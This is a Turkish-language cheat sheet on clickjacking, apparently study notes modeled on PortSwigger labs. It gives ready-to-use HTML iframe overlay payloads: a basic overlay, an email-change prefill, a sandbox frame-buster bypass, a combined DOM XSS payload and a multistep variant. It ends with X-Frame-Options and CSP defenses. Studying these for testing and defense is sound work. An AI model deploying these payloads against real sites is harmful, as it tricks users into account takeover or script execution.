Clickjacking

Clickjacking Nedir?

Clickjacking, kullanıcıların farkına varmadan gerçekte başka bir içeriğe tıklıyor olmalarını sağlayan bir web güvenlik saldırısı türüdür. Bu teknik, zararlı içeriği şeffaf veya görünmez bir iframe ile gizleyerek ve kullanıcının güvenilir bir elemente tıklamasını bekleyerek gerçekleştirilir. Kullanıcı niyeti dışında farklı işlemler yapabilir ve bu da güvenlik açıklarına yol açabilir.

Saldırı Yöntemleri

Basit Clickjacking

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:470px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://example.com/my-account"></iframe>

URL Parametresi ile Clickjacking

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:470px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://example.com/my-account?email=attacker@gmail.com"></iframe>

FrameBuster Bypass

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:470px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://example.com/my-account?email=attacker@gmail.com"></iframe>

Clickjacking ile DOM XSS

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        opacity: 0.1;
        z-index: 2;
    }
    div {
        position:absolute;
        top:470px;
        left:60px;
        z-index: 1;
    }
</style>
<div>Click me</div>
<iframe src="https://example.com/feedback?name=<img src=x onerror=alert(1)>&email=attacker@gmail.com&subject=test&message=test#feedbackResult"></iframe>

Multistep Clickjacking

<style>
   iframe {
       position:relative;
       width: 500px;
       height: 500px;
       opacity: 0.1;
       z-index: 2;
   }
   .firstClick, .secondClick {
       position:absolute;
       top:330px;
       left:60px;
       z-index: 1;
   }
   .secondClick {
       top:330px;
       left:210px;
   }
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://example.net/my-account"></iframe>

Clickjacking Nasıl Önlenir?

X-Frame

X-Frame-Options başlığı, web sitesi sahibine iframe'lerin veya nesnelerin kullanımı üzerinde kontrol sağlar, böylece bir web sayfasının bir çerçeve içine dahil edilmesi deny yönergesi ile yasaklanabilir.

X-Frame-Options: deny

Alternatif olarak çerçeveleme, sameorigin yönergesi kullanılarak web sitesiyle aynı kaynakla sınırlandırılabilir.

X-Frame-Options: sameorigin

Veya allow-from yönergesini kullanarak bir web sitesi ile sınırlandırabilirsiniz.

X-Frame-Options: allow-from https://example.com

CSP

Content Security Policy (CSP), XSS ve clickjacking gibi saldırılara karşı koruma sağlayan bir tespit ve önleme mekanizmasıdır. CSP genellikle web sunucusunda formun bir dönüş başlığı olarak uygulanır.

Content-Security-Policy: frame-ancestors 'none';
Content-Security-Policy: frame-ancestors 'self';
Content-Security-Policy: frame-ancestors normal-website.com;

Araçlar

Burp Clickbandit

Clickjacker

Link: https://clickjacker.io/

Kaynaklar

Portswigger Academy: https://portswigger.net/web-security/clickjacking

Last updated